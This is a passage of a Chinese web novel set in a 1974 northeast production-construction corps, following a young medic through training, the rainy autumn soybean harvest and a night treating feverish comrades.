“报告指导员，六连卫生员，杨晓琴前来报到！” “报告指导员，九连卫生员，白建军前来报到！” “报告指导员，八连卫生员，郁秀英前来报到！” 四人一到指导员方怡的办公室，直接敬礼说道。 “玉琴、晓琴，你们来了！”方怡先对着许玉琴和杨晓琴点了点头，然后又看着白建军和郁秀英说道。“欢迎你们俩加入兵团的医疗卫生工作。” “玉琴，你带着郁秀英先去宿舍放行李！晓琴，你带着白建军去找陈大勇。”方怡笑着看着几人说道。“五连和七连的卫生员还没到，估计她们也快到了，中午吃完饭，我们先开个小会，下午你们就正式开始实习。” “指导员，还是直接从实践开始啊！” 杨晓琴看着方怡直接说道。 “除了你们俩和陈大勇，其他各连的卫生员都是生手。”方怡笑着看着杨晓琴说道。“当初你们不也是这么过来的么，现在也是时候发挥你们这些老人的作用啦！” “以老带新，传帮带！我们懂！” 第67章 第三届卫生员培训班 白建军还在宿舍放行李呢，周海兵就找了过来。 “大勇也在啊！” 周海兵一进来就先和陈大勇打了声招呼。 “大周哥，你咋来了呢！” 陈大勇热情的和周海兵抱了一下。 “建军就是我们连，正好这里有他两封信，我给他送过来。” 周海兵说着从挎包里将最外面的两封信拿了出来交给了白建军。 “谢谢大周哥了！” 白建军高兴地接过信，笑着说道。 “客气啥，你们先聊着，我还得回连里，有空我再过来看你！” 周海兵来也匆匆去也匆匆，没说两句话，就走了。 “家里来信啦？” 陈大勇看着摩挲着信的白建军笑着问道。 “嗯，我到连队的第二天就给家里寄信了，报个平安。” 白建军笑着点头说道。 “那你看信吧，我先去外面转悠转悠！” 陈大勇可是知道不少知青们在收到家信之后都痛哭流涕，所以给白建军留一个单独的空间。 等陈大勇走了，白建军才打开了第一封信，这是何雨柱寄来的，不过一看字迹就知道应该是冉秋叶写的。 建军弟弟： 见字如晤！ 你柱子哥收到你的信，就催着我给你回信！ 我们家一切都好，何森与何琳现在也胖了很多，现在不比许晓秦分量轻了。听说兵团知青会有年假，等明年你回来的时候，两个孩子都可以管你叫舅舅啦！ 你好好在兵团工作，不用担心家里。我和你柱子哥商量了，让他定期去看望一下你太奶奶。你也告诉家里一声，让她们有什么事就过来找你柱子哥。 你的亲人： 何雨柱、冉秋叶。 虽然信很短，但是白建军也能从字里行间中体会到冉秋叶是真拿自己当亲人了。李香秀现在年龄也大了，白建军有时候也担心她的身体，自己姐姐白建华在医院当护士，工作忙有时候还倒班，不一定能很好的照顾李香秀。 白建军自己想着几年之后就能回城，可是这几年李香秀的养老问题，自己却并没有考虑周全。白建军突然意识到，李香秀的养老问题已经提上了日程了。 一时之间白建军也没有想出来什么好办法，摇了摇脑袋，又打开了白建华的信。看到信纸上有被打湿的痕迹，白建军就知道白建华写信的时候，一定是流泪了。 建军： 收到你平安到达的消息，我和太奶奶心里的担忧终于放下了一些。 你走这些天，我总感觉心里空落落的。以前你在家的时候还不觉得，你这突然去了东北，我才感觉到身后少了依靠。 太奶奶现在搬过来住了，也和我说了一些怎么掌家。现在我才意识到，你这些年都在后面默默的支撑着这个家。建军，这么多年，你辛苦了！ 请原谅姐姐这迟到的歉意。 太奶奶说你把我保护的太好了，如今你离开一段时间，对我也是好事！我也明白太奶奶说的是对的！你放心，我会尽快成熟起来的。 建军，我想你！ 姐：白建华 看着信纸上洇湿的那些印记，白建军就能想到白建华写信时的心情。 “太奶奶说的也对，我这离开了，我姐也能成熟起来了。”白建军拿着信纸脑海中也想着。“不过我姐都21了，别等我回去的时候给我领回来个姐夫，那我得好好把把关。” 摇了摇脑海中那些小舅子揍姐夫的场面，白建军又拿起了白建华信中的另一张纸看了起来，这上面就都是白建军同学现在的通信地址了。这里多是去内古兵团的同学们的地址，像夏建红和徐静理她们的地址，白建军在没来黑江兵团之前就知道了。 现在时间也快到中午了，白建军也就把信收了起来。和陈大勇一起去食堂吃了饭，白建军也趁着中午去了一趟军人服务社。白建军主要是买了一个笔记本和一些信封、信纸和邮票，等晚上休息的时候再给家里以及同学们写信。 下午1点半，各个连队的卫生员都来到了卫生队指导员方怡的办公室。 除了已经见过面的许玉琴、杨晓琴、郁秀英和陈大勇，白建军也见到了砖瓦连的薛秀莲、二连的关丽英、三连的贾二玲、四连的彭小静、五连的马金凤、七连的张玉珍以及机务连的万淑君，卫生队的队长林均生、副队长杨振清也在勉励大家一番之后，就离开了。 “同志们，除了许玉琴、杨晓琴和陈大勇，你们都是刚刚到接手各连队的卫生员工作。”指导员方怡看着各连队的卫生员们认真的说道。“现在也没有多少时间给大家学习理论了，你们每在团部多学一天，连队里的战友们，就会多一天面临着生病无人照看的风险。所以咱们直接就上实战。” “大家也不要有什么思想负担，许玉琴她们刚来的时候，比你们现在面对的处境更加艰难。”方怡指了指整个团部。“那时候团部就是一片大工地，这些房子都还没建好呢，咱们团部的卫生队都是用临时搭建的帐篷代替。但是我们也一起克服困难挺过来了。” “一会我先带你们巡视一圈病房，和各科室的医生也都认识一下！”方怡在鼓舞了一番士气之后，直接开始安排起了工作。“巡视完之后，许玉琴，你和杨晓琴陈大勇，先教大家一些医疗常识与操作的基本技能，详细给大家讲解一下咱们小药箱里面的常备药品、备品。” “我们的职责就是日常组织好连队的卫生防疫工作，保证兵团战士们的身体健康，在紧急时刻为战士们提供紧急医疗救护。”方怡严肃的看着所有人说道。“枪炮是战士们的武器，而这个小药箱就是我们卫生员手里的武器。” “大家记住了么！” “尖兵卫勤，时刻准备；救急救难，使命在肩！”×N 所有连队的卫生员们，大声的喊着属于卫生员们自己的口号。 “好！很好！” 方怡满意的看着所有卫生员说道。 第68章 方教导员的严厉 四十五团一共十二个连队，其中农业连九个，种子连、机务连、砖瓦连各一个，按理来说每个连队都应该设置一个卫生室，配置一名军医和卫生员。 但因为所有的连队都分部在团部周围，最远的九连也不过离着40里地；以及受到前两年人员逐年短缺的制约，现在只有团部卫生队有完善的各个科室，里面也都有一名军医负责。连队知青、干部及农场家属的看病问题都集中在了卫生员身上。 有个小病小灾、头疼脑热的，吃几片药就扛过去了，一旦遇到紧急情况或是连队自己处置不了的问题，就得由卫生员用拖拉机和马车把病号送到团卫生队，再或者转到师部医院。 本着不上交困难，一般的小病在连队解决的原则，卫生员不仅要能判断出病情，开方拿药，使用各种器械配药，还得会打肌肉针和点滴。前两样白建军是强项，可是到了器械和打针上，白建军两辈子都没尝试过。 第一天到卫生队，中午开完会，各连的卫生员在指导员方怡的带领下查了一圈病房。这个过程不仅让大家和各个科室的军医认识一下，同样也是让大家看一看团部这边的卫生员是怎么给住院的战士打针的。 杨晓琴当年的一幕虽说没有再次上演，但是三连的贾二玲和四连的彭小静在进病房之后，看着团委卫生员常凤叶给住院战士打针的时候也是转头不敢看，除了许玉琴和杨晓琴，其他几个女卫生员也都羞红了脸。 “贾二玲、彭小静，刚才常凤叶在打针的时候，你们为什么转头不看？你们今天能转头，等你们回到连队的时候，你们的同学、战友、朋友在饱受病痛折磨的时候，你们还能转头么？” 方怡带着众人巡视了一圈之后又回到办公室，方怡直接对着贾二玲和彭小静就严厉的训斥道。 “你们俩要是克服不了，我现在就给你们各自的连里打电话，让他们把你们俩接回去！” 贾二玲和彭小静被训的大气都不敢出。 “问你们俩呢，能不能克服？”方怡见两人都低着头，直接高声问道。“用不用换人？” “报告指导员，我能克服！不要换人！” 贾二玲抬头看着方怡大声的说道。 “指导员，我不会去，我一定能不会再这样了！” 彭小静也抬起了头，眼神坚定的说道。 “这是你们俩自己说的啊。” 方怡严肃的说道。 “我们一定能做到！”×2 贾二玲和彭小静异口同声的说道。 刚被选上当卫生员就被卫生队这边退回去，那贾二玲和彭小静以后在连队里也没脸见人了。 之后指导员方怡给每个人都安排了一个团部的卫生员带第三届卫生员培训班的卫生员们，而白建军被分配跟着许玉琴。白建军到卫生队的第一天下午，就是在许玉琴给白建军讲解如何配药、如何储存药品以及相关注意事项中渡过的。白建军在自己刚买的小本子上规整的记了好几页。 吃过晚饭之后，第三届卫生员培训班的这批新卫生员还亲自看着老卫生员们具体是如何操作的，然后又看了老卫生员们给住队的病号打完针，才算结束了这一天的培训。 “建军，咋样？突然一下子学这么多的东西，能习惯的了么？” 回到宿舍的陈大勇看着白建军问道。 “我怎么感觉指导员也好，玉琴大姐她们也好，显得都挺着急的啊？” 白建军略带不解的看着陈大勇问道。 “咱们这边满打满算还有不到一个月就要进入秋收了，到时候团部除了留下必要的值班人员，全员都会参加秋收。”陈大勇看着白建军解释道。“你想想，不趁着这段时间让你们多掌握一些医疗知识，真等到了秋收的时候，遇到事你不会处理，那不就是添乱了么！” “难怪呢！” 听陈大勇这么一说，白建军也理解了方怡今天为什么会突然发火说贾二玲和彭小静，真没有多少时间让她们俩慢慢适应，你在这边少学一点，可能在回到连队后面对不同的突发情况就有可能处理不好。那到时候产生的后果，很可能造成战友落下终身的残疾。 白建军和陈大勇聊了几句，就拿出今天记的笔记又复习了几遍，之后又闭着眼睛模拟着今天在团部看到卫生员配药时的一些操作和打针时的一些动作。 陈大勇见白建军闭眼躺在床上，刚开始还以为他睡着了，可是一会儿就看到白建军两个手在半空中划拉，刚开始还给陈大勇吓了一跳，可是后来再看动作，突然发现，就是配药和打针时的动作。 陈大勇也不知道白建军是在做梦，还是没睡，也不敢叫白建军。虽然已经是新种花了，但是东北这边还是有着别去和说梦话的人对话以及梦游人的聊天的忌讳。 也没多大一会儿，白建军就睁开了眼睛，坐了起来。 “你没睡着啊！” 陈大勇看着白建军问道。 “没啊，我就是在脑袋里模拟了一下刚刚常大姐配药的手法和打针的手法。”白建军看着陈大勇解释了一下。“大勇哥，怎么了？” “还咋滴了，吓我一跳，刚刚我还以为你梦游呢！我这大气都没敢喘一口。”陈大勇拍了拍胸口。“你以后可别闭着眼睛这么干了，挺渗人的！” “大勇哥，我记住啦！” 白建军歉意的说道。 “你去洗漱不？” 陈大勇拿出了脸盆看着白建军问道。 “我还要写几封信，一会儿写完了，我再去！” 白建军摇了摇头。 陈大勇也没说别的，直接拿着脸盆毛巾等东西就去洗漱去了。而宿舍里的白建军，也拿出了信纸开始写信。先写了一封给白建华说了一下自己的近况，也说了下封信可能正好赶上秋收，可能会晚点回信。 只有白建军又给何雨柱、夏建红、徐静理、蔡晓丽、图强、赵小年这些和自己关系不错的同学写了信，最后白建军想了想，又分别给苏萌和叶菲也都写了封信。 白建军倒不是对她们俩有想法，毕竟给别人都写了信，唯独不给她们俩写，让她们俩知道了，以后可就没法见面了。 “你这写了多少封信啊？” 陈大勇洗漱回来的时候，看到白建军已经装了20多个信封，吃惊的问道。 “都是给我同学写的，他们大多都去了内古兵团。”白建军笑着说道。“都写完了，我这边贴完邮票就完事了。” “那你忙吧，我先休息啦！” “大勇哥你休息吧，我忙完就去洗漱去了！” 第69章 回连队 白建军在卫生队这边，差不多每天都跟着许玉琴学习，其他卫生员也都是抓住任何时间尽量多的掌握医疗卫生知识。随着九月初团部召开了1974年“三秋”工作安排部署会议，各连的卫生员们也知道留给自己的学习时间已经不多了。 学了几天理论知识的卫生员们直接进入了实操阶段。 在老卫生员们的监督下，配药这项大家都没什么问题，包扎、外伤处理这些，大家也都能做的似模似样，但是打针这个，却有些进展不如意。 白建军算是表现好的，第一次打针，本来住院的战士以为会挨不少针，但是白建军一次就成了，而且用老卫生员们的话讲就是白建军手比她们都稳。其他人的表现就差了很多，有的打了3、4针都没有把针头插进血管。 第二天，白建军就发现自己同一批的这些卫生员，一个个手腕都被橡胶绳勒出紫痕，她们的手上多多少少也会有一些针眼儿。 “郁秀英，你们回去都干什么了？” 趁着中午休息的时候，白建军拉住了郁秀英，指着她的手腕和手背偷偷问道。 “互相扎！”郁秀英也没有一次见白建军时的害羞了。“除了是亲自体会被多扎几针是什么感受以外，这就是个熟练度的问题，不多练几次，怎么熟悉！” “我服了！” 白建军看着郁秀英认真的样子，也不得不抱拳说道。 “白建军，正好我找你也有事！”郁秀英没有在意白建军的这个态度，而是认真的看着白建军说道。“能帮我一个忙么？” “你说吧，什么事，能帮我的一定帮！” 白建军点了点头看着郁秀英说道。 “我看你一直带着那本《赤脚医生手册》，我在军人服务社这边没看有卖的。”郁秀英抬头看着白建军说道。“听晓琴姐说，师部那边也没有，只有齐哈尔市里或者尔滨市里的书店有卖的。” “这个你让家里帮着买一本就成吧！”白建军看着郁秀英说道。“不用我帮忙吧！” “我已经写信给家里了，让他们帮我买一本，邮过来。”郁秀英点了点头说道。“你是京城的，我是想让你帮我找找你们那边有没有《农村医疗手册》。” “这个没问题，我一会写封信让我姐帮着问一下！” 白建军立马答应了下来。 “多谢你了！” 郁秀英露出了开心的笑容，看着白建军说道。 “客气啥，咱们都是战友！” 白建军也笑着说道。 没等到白建华的回信，第三届卫生员培训班就到了结业的日子。主要也是马上就到了“麦收战役”，这是全团乃至于整个五师的大事。 第三届的新卫生员们和卫生队的全体指战员们合影之后，就纷纷背起了行李登上了回连队的马车。 来接白建军、许玉琴他们的还是九连的周海兵。这一路上陆续送走了郁秀英、杨晓琴之后，离着九连还有3里地的岔路，许玉琴也要下车了。 “玉琴姐！” 白建军帮着许玉琴背好背包。 “建军，有什么事，直接和姐说！” 许玉琴看出来白建军有话要说。 “玉琴姐，我想求你个事！”白建军看着许玉琴说道。“回连队之后，一般的问题，我能处理，但是有一个事，我解决不了。” “啥事？” 许玉琴看着白建军问道。 “我们连要是有女知青打肌肉针，我还得去你们连请你来！” 白建军直接把自己的为难说了出来。 “这……”许玉琴刚开始还没反应过来，一听白建军这么说就想到了白建军为什么这么说。“行吧，你们连之前就是我两头跑，这个事，也是真没有别的办法。” “谢谢玉琴姐啦！” 白建军赶紧道谢。 “等到农闲的时候，卫生队或者师部那边可能还会组织培训班，那个时候时间就会长很多，到时候咱们学到的东西就多了！”许玉琴用手紧了紧背包。“你们也回去吧！” 和许玉琴挥手告别之后，白建军就坐着马车回到了九连。 白建军回到了九连之后，指导员林国栋直接把卫生室的钥匙交给了白建军，而白建军也是第一时间整理医务室的药品以及物资。 “请进！” 白建军正在清点物资，就听到了敲门声。 “卫生员，指导员让我带着几个女知青过来，看看你这边有什么需要帮忙的！” 黑丽荣带着吴忆茹还有其他两个两个女知青走了进来。 “黑排长，谢谢您你们啦！”白建军看到黑丽荣她们笑着说道。“我这边还在整理物资，等清点完后，我自己收拾收拾就好了！” “那我和吴忆茹帮着你清点一下物资吧！”黑丽荣看着白建军说道。“多几个人干，总比你一个人要快一些。” 有人帮忙就是快很多，有了黑丽荣和吴忆茹的加入，原本半天才能清点完的活，没用2个小时，就都完事了。白建军本还想让两人回去休息，可是两人还是留下来帮着白建军把卫生室这边的卫生都打扫完才走。 白建军回到宿舍的时候，张铁刚和白建军打了声招呼。 “卫生员，早听他们说你会来，还以为马上就能见到你！” “我在卫生室那边收拾收拾！” 白建军看着张铁刚说道。 “我们几个想去帮忙来的，不过看到黑排长带着女知青们过去，我们就回来了！” 张宪有也过来看着白建军说道。 “这有和女知青一起劳动的机会，你们都能主动放弃？” 白建军奇怪的看着屋里的几个舍友问道。 “主要是黑排长在！”张铁刚看着白建军说道。“我们可有点怕她。” “感觉黑排长人不错啊，挺亲切的啊！”白建军疑惑的看着张铁刚说道。“你们有啥怕的啊！” “主要是黑排长太有能力，我们有些自惭形秽！” 张宪有和张铁刚互相看了看，张铁刚才对着白建军说道。 “咱们连之前喜欢黑排长的人有不少，但是没有一个男生能入她眼的，哪怕是当年来的那些高中生，在黑排长的面前也都不行。”郑自新在炕上起来说了一句。 “什么情况啊？”石兴华突然插了一嘴问道。“你们能说清楚点么？” “黑排长就是个外语方面的天才，当年还被抽调去江防前线呢！”张铁刚羡慕的说道。“而且我听说，黑排长不仅会俄语，还会英语、法语。” “也是人家家里的原因。”张宪有也补充道。“她虽然是从山城来的，但是听说她父母都是蜀大的教授。” “小道消息说她来的时候，她父母还被关着呢，不过后来不知道什么原因，事就没了！” 郑自新神秘的说道。 “怪不得排长当初会那么说。” 白建军看了看没说话的蔡凯杰笑着说道。 第70章 秋收 今年九连一共有12个地块。 连部北侧的1至4号地块是南北走向，稍微有些向西偏斜，1号地块到3号地块一个梯形，最短一条垄800多米，最长的一条垄也才1200米左右，3个地块加在一起也只有1400多米；4号地块是个细长条，虽有只有200多米宽，但是一条垄能有2000米。就这4个地块加起来就有2700多亩地。 5号地块就在4号地块的最北面，一直到小峰山山脚；6、7、8号地块在大峰山山脚。这几个地块都是东西走向。9号地块在大峰山和小峰山中间；10至12号地块在9号地块和青年水库的中间。5号到9号地块，加起来有6300多亩地。 10至12号是一点都没种，九连这边实在是有心无力，不过就是剩下的9块地，加起来也超过了9000多亩了。而这9000多亩地的秋收工作就是九连全体指战员需要面对的任务。 白建军回到九连也没有清闲两天，秋收的会战就打响了。 黑江生产建设兵团所在的北大荒农场在这个年代可以说是全国农业机械化水平最高的地区，小麦、大豆这些农作物从种到收，都可以实现机械化。 白建军所在的四十五团虽然不如北大荒那边的其他团，但是也就是和二师、三师、六师的兄弟单位对比差点，对比其他地区可以强多了。 这天早上4点多钟，东北的天空已经见亮了，九连全体人员在加上原来农场的职工都开始参加秋收。 白建军背着自己的医疗箱，坐在张铁刚开的拖拉机上。 “建军，你可把住了啊！” 张铁刚一边开着拖拉机一边不忘叮嘱白建军注意安全。 “在你旁边站着，总比在后面挤着强。”白建军先是安慰了一下张铁刚，然后就看着拖拉机后面拖着的“康拜因”上挂着的众多知青大声喊道。“你们都注意安全！” “康拜因”是联合收割机，这个虽然能收麦子、大豆等粮食，但是前面必须有个牵引车。九连有两台“康拜因”，另外还配了两台拖拉机，也就是东北这边俗称的“四轮子”作为牵引车。另外九连还有一台履带式拖拉机，不过那个的行动速度比不上四轮子。 “康拜因”也是需要有人操作的，不过康拜因没有棚子，干一天下来尘土飞扬的，四轮子多少还有个棚子罩着。但是有机械的帮忙，1到3号地块加起来2100多亩地，2台机器连轴转，用了三天才算干完，而这几天时间，九连这边全连可以说都在配合着这几台机器。 有开着卡车转运的，等卡车回到连部这边，晒场这边就要开始忙起来了。除了需要将收割回来的谷物进行晾晒，还要清杂质，装袋，然后运到库房存储起来。 白建军这几天除了第一天跟着张铁刚待了半天，其他大多时间都在晒场这边。虽然白建军是卫生员，但是该干的活是一点都不比其他知青干的少。所有九连的人都忙碌着，没有人偷懒，都想着尽快完成粮食的收储工作。 兵团知青可以算是国营农场的职工，每个月都有工资，还有福利，拿着这些待遇，自然积极性和插队知青是不一样的。 虽然秋收这边已经过了东北的雨季，但是这时候也不是没有雨。 还剩下最后一个地块也就是大峰山和小峰山之间的9号地块的时候，这天凌晨的时候就开始陆续下起了细雨，本来早起的张铁刚看着外面的雨，直接抱怨上了。 “这他妈都到最后了，竟然赶上下雨了，可千万别下大了，不然9号地的大豆，就得都要用人收割啦！” 张铁刚的抱怨改变不了天气，张铁刚他们这个机械化小组到了9号地的时候，田里已经出现了轻微的积水。 “得，赶紧通知连长和指导员，康拜因是下不去了，一到地里全的陷里头。” 王长贵带着一脚泥从田里走了上来。 …… 紧急集合号响彻了九连的上空。 从早上发现下雨，团部已经通知了下去，做好冒雨收割的准备。听到号声，九连的知青们都换了雨鞋带着草帽集合在了连部。 “同志们，出发！” 九连连长张大山一句废话都没多说，直接手一挥，九连的知青们就冒雨往9号地块赶。 农活中最累的是割地，那么割地的农活中最累的就要属割大豆了。为什么这么说？一是大豆植株普遍矮，弯腰90°甚至更低才能把植株割下来，割的时间稍微长一点，腰就疼的受不了；二是，大豆成熟之后，不管是豆荚还是豆秧都非常硬，不带手套根本不能割，非常扎手，会把手扎出血。 都说一场秋雨一场寒，今天要是不顶着雨割地，明天弄不好就下霜，甚至下点小雪都有可能。真要是让雪把大豆都盖了，那不用说，9号地的大豆可以宣布今年都完犊子了。 张大山也是从兵团建立之初就过来的，1972年四师秋收的时候，突然赶上了一场大雪，5万亩大豆全都废了的事也不是不知道。 以前白建军参加秋收，收的大多是麦子，收大豆也是第一次干，真到干了的时候，才知道没有吃苦精神，是真坚持不住，特别是在这样的天气里。虽然雨不大，但是雨已经是小事了。 田地已经成了大泥地，人进去走路，一步一脚泥。带着的帆布手套没有10分钟就湿了，更不要说雨水顺着裤管往雨鞋里灌。可以说干了一上午，知青们的手脚都是泡在水里的。 白建军算是忙坏了，刚开始白建军把药箱放到了地头跟着一起割大豆，但是从10点多左右开始，不时就有知青们大声呼喊“卫生员”，从时候开始，白建军背着药箱就没停过。而且知青们大多的事都是手套破了，手被扎出血了。 “手扎了的换手套，中午的时候在处理！受伤的在喊卫生员！” 白建军在发现能有10多人都是手扎了的，赶紧大声喊道。白建军喊完，这下，喊卫生员的人也少了。忙活到了中午，整个9号地，推进了还不到1/5。 白建军都没先吃饭，直接先开始查看知青们的伤口，毕竟有手套保护，都是小伤口。白建军的医药箱里东西不多，也只能抹点碘伏消毒，之后再拿纱布包上一圈。 到了下午3点多，天虽然还阴着，但是雨是终于停了。这一天干到6点多，九连的知青们才收工。 第71章 病号 干活的时候，知青们都是憋着劲，但是收工之后，一个个的浑身哪都疼。等回到连部吃完晚饭之后，已经快8点了。 白建军先去了一下卫生室那边，检查一番才回到宿舍。 “班长，他们几个是怎么回事？” 白建军指着石兴华、蔡凯杰还有刘文济三个人说道。 “累坏了呗，一回来就直接躺炕上了。”张铁刚也累的够呛。“建军，我也收拾完了，先睡了！” 白建军准备先铺一下自己的被窝，路过石兴华的时候，白建军就发现石兴华满头大汗，白建军赶紧用手一摸，石兴华脑袋都有些烫手。 “小石！小石！” 白建军赶紧扒拉了两下石兴华，可石兴华已经迷迷糊糊的了。 白建军的喊声，让还没睡的张铁刚赶紧看了过来。 “建军，小石怎么了？” “浑身滚烫！”白建军手伸进石兴华被窝摸了一下，然后看着张铁刚说道。“今天又是干活，又是淋雨的！” 这时候郑自新也被吵醒了，而且他发现他身边的蔡凯杰情况也不太好。还没等他说话，宿舍的门直接被人推开了。 “卫生员，你快跟我去一下我们屋，佘福先和姜全宝烧的厉害！”二排长曾冬伟直接看着白建军说道。“你看看赶紧给他们俩开药。” “曾排长，稍等我一下，我这就去你们屋” 白建军对着曾冬伟直接说道。 白建军边说边走到蔡凯杰身边，摸了摸他的脑袋和身子，蔡凯杰虽然也发烧，但是没有石兴华那么严重，所以白建军对着张铁刚说道。 “班长，你们把小石背到卫生室，他这烧的厉害，我得给他打退烧针！正好你回来给小蔡喂两片安乃近！等他吃完药，让他多喝温水，一定要把汗发出来！” 白建军说完，就赶紧往曾冬伟他们屋子跑，佘福先和姜全宝他们俩的情况和石兴华差不多。 “曾排长，他们俩送到卫生室吧！” 说完话的白建军赶紧往卫生室跑，等到白建军跑到卫生室的时候，吴忆茹正在卫生室这边要往男知青宿舍这边走。 “白建军，我们女兵排有几个女生发烧，你能过去看一下么？” “都赶到一起了！”白建军赶紧打开卫生室的门，然后又打开了里面的配药室。“吴忆茹，这边还有3个，我给他们打完针就带着药过去。” 卫生室这边就备了两个体温计，白建军直接交给曾冬伟和吴忆茹一人一个。 “曾排长，你先给他们三量一下体温！”白建军对着曾冬伟说完，又对着吴忆茹说道。“吴忆茹，你先把体温计拿回去，先给她们量一下体温！” 曾冬伟接过体温计就开始给石兴华量体温。吴忆茹点了点头，也拿着体温计往女兵宿舍走。 白建军这边正写病理记录呢，值班的指导员林国栋就走进了卫生室。 “曾冬伟，这什么情况！” “指导员，我们排佘福先和姜全宝还有1排的石兴华都发高烧啦！”曾冬伟看着林国栋赶紧说道。 “指导员，他们三个比较严重，得打退烧针，我们屋蔡凯杰也发烧了。”白建军看着林国栋汇报到。“女兵那边也有人发烧，这边完事我还得去看看！” 就在白建军汇报的功夫，三排长董宝柱和一排长王长贵也都到了卫生室这边。 “你们俩嘎哈来了？” 林国栋皱着眉头看着王长贵和董宝柱问道。 “报告指导员，我们排有几个战士有些发烧！” “报告指导员，俺们排也是！” “都是新兵？” 林国栋听了董宝柱和王长贵的话之后，皱眉问道。 “也有老兵！” 董宝柱摇了摇头说道。 “白建军，今晚你辛苦点吧！” 林国栋直接看着白建军说道，说完林国栋就从卫生室离开了。 “曾排长，你去一下女兵排，等她们体温计用完了，你回你们排挨个屋问一下。”白建军看着曾冬伟直接说道。“今天可能大家都太累了睡的早，要是有谁发烧没发现，烧一宿人都得烧傻了！” “长贵、宝柱，我这两个兵就靠你们啦！” 曾冬伟也知道事情紧急，赶紧和王长贵和董宝柱说了一声，就往外走。 等王长贵这边配合着测完了石兴华他们三个人的体温，白建军就开始配药。白建军这边正要给三人打针，黑丽荣直接到了卫生室，看到王长贵和董宝柱正要给石兴华扒裤子，黑丽荣直接又退到了卫生室门口。 “白建军，我们女兵那边陈梦莹高烧39°2，其他几个人也都38°多！” 听完黑丽荣的话，白建军的心就是一咯噔，真是怕什么来什么。 “黑排长，其他人你先拿药回去给她们吃了，陈梦莹你得找人把他送这边来！” “要给她打针？” 黑丽荣直接问道。 “现在也没别的办法了，先带她过来吧！” 白建军说完，就开始给石兴华打针，等打完了王长贵和董宝柱又帮着石兴华提上裤子，白建军才把黑丽荣叫了进来。给黑丽荣拿了10片退烧药，白建军叮嘱了一番，才让黑丽荣离开。 之后白建军又陆续给佘福先和姜全宝打完针，曾冬伟也回来了。 “我们排都量完了，都是38°上下！” 白建军把体温计又交给了王长贵和董宝柱，两人也明白什么意思。这时候黑丽荣、吴忆茹还有3个女兵一起抬着盖着好几层被子的陈梦莹来到了卫生室。 “曾排长，你们把他们三个先送回宿舍吧，多喂他们喝点热水，我这边忙完我在各个宿舍走一圈。”白建军看着记录上和三个男兵排说道。“有病号的，先别让他们锁门。” 三个排长答应完，直接就背着三个病号往宿舍那边走，白建军也开始处理陈梦莹的问题。 “黑排长，陈梦莹得打点滴了，而且还得物理降温。”白建军看着黑丽荣说道。“这事得你们来。” “我留下！” 吴忆茹直接站起来说道。 “那一会儿我和小吴留下，你们先回去，也累了一天了，都好好休息！” 黑丽荣直接让跟来的几名女知青先回去了。白建军这边也给陈梦莹配药，之后又打上了点滴。 “我给你们拿点医用酒精，你一会儿给她的腋下，额头、太阳穴用酒精棉涂抹一下。”白建军看着黑丽荣和吴忆茹说道。“我先去男兵排那边看一看情况，一会儿我再回来。” 说完话，白建军找出来酒精和棉花交给两人之后，就去了男兵那边。男兵排那边的病号状态还算好，白建军就又回到了医务室。 “梆！梆！梆！” “进来吧！” “嘿嘿！我这回来，还得先敲门！” 白建军看着黑丽荣和吴忆茹自嘲的说了一句。 第72章 黑丽荣 陈梦莹打了点滴之后，并没有完全退烧，体温仍然在37.5°左右。看着墙上的挂钟已经半夜11点了，白建军看着黑丽荣和吴忆茹说道。 “陈梦莹和别人的症状不一样，她这是感染了，等一会喂她吃两片消炎药，等天亮之后再观察一段时间看看！ 这么晚，你们留下来一个人陪着她在卫生室这边对付一宿吧！我也在里面趴着！” “小吴，你先回去吧，我在这陪着小陈！” 黑丽荣看着吴忆茹说道。 “排长，我也留在这吧！” 吴忆茹摇了摇头说道。 “明天还得下地干活，你这身子也不比小陈强多少，回去休息吧！”黑丽荣拍了拍吴忆茹的手说道。“这场雨一下，机器最少3、4天下不了地，后面有的忙呢！” 见黑丽荣一再坚持，吴忆茹也只能先回宿舍去了，不过没多大一会，吴忆茹就把黑丽荣的被褥拿了过来。 “谢谢你，小吴！” 黑丽荣笑着感谢吴忆茹说道。 “排长，现在夜里冷，你盖上一点。” 吴忆茹说完和白建军点了点头这才回去。 整个卫生室就剩下配药室里的白建军，还有外面病房里已经睡着了的陈梦莹和黑丽荣。 “白建军，你也在病床上躺一会儿吧！你这也忙了一天，休息一会儿，我先看着她。”黑丽荣对着配药室里的白建军叫道。“明天你还得保障大家伙的安全呢！” “那黑排长，我先咪愣一会儿，一会儿你换我！” 白建军从配药室走出来之后，就在最边上的病床上躺下了。 白建军虽然身上有功夫，可是经过这么一天的割大豆也累的不行，但是陈梦洁的烧没有完全退下去，白建军心里一直惦记着，这怎么也睡不着。 “睡不着么？” 隔着一个陈梦洁，白建军听见了黑丽荣的声音。 “有点，小陈这烧还没退，连里还有挺多发烧的美好，心里总是惦记着！” 白建军也没藏着掖着，直接承认道。 “小陈这烧已经退下来一些了，大家都年轻，会好起来的！” 黑丽荣安慰着白建军说道。 哪怕有黑丽荣的安慰，白建军仍然是辗转反侧。 “白建军，你是京城人吧！” 黑丽荣突然出声问道。 抬头看着棚顶的白建军，直接答道。 “是，我家祖上几代都在京城了！” “那能跟我说说京城是什么样子么？” 隔壁传来了黑丽荣向往的声音。 “我之前失忆过，小时候的记忆都不记得了，这几年，全国都差不多！”白建军疑惑的问道。“黑排长怎么对京城好奇呢？” “我是跟着我奶奶一起长大的，她跟我说以后有机会一定要去京城看看。”黑丽荣平静的说道。“因为我爷爷是京城人！” “弄不好京城您还能有亲戚呢！” 白建军笑着说了一句。 “以后有机会，我倒是想替我奶奶过去看看！不仅是去京城，还有金陵、花城。” 黑丽荣也笑着说道。 “按说您爷爷应该是老京城人，还姓黑，这个姓应该挺好打听的，我估摸着要么是回族要么是蒙族。”白建军想了想，小声的说道。“要不你和我说说，我让家里的亲戚朋友帮着打听打听。” “我爷爷是汉族！”黑丽荣否定的说道。“我奶奶和我说过，我爷爷可能不姓黑，他的名字是化名。” “那时候化名很正常，我太爷爷还有化名呢。”白建军随意的说道。“听我太奶奶说，我太爷爷去鲁地的时候，也是化名姓黑。” “呵呵，照你这么说，咱们俩可能还是亲戚呢！” 黑丽荣听白建军这么一说，也笑了一下。 “那我以后叫你姐，反正你也比我大！” 白建军直接顺杆爬的说道。 黑丽荣听白建军说完，直接打趣的说道。 “那可不一定，我还可能比你大一辈，你得叫我姑姑呢！” “那就不能是比我小一辈？” 白建军笑着否定道。 “我爷爷要是活着，今年都得快90多了，你说我能比你小一辈？” 黑丽荣直接拿出了有力的证据。 “丽荣姐，我算算，您这两辈人差的太多了吧！” 白建军皱眉思索了一下，颇为诧异的说道。 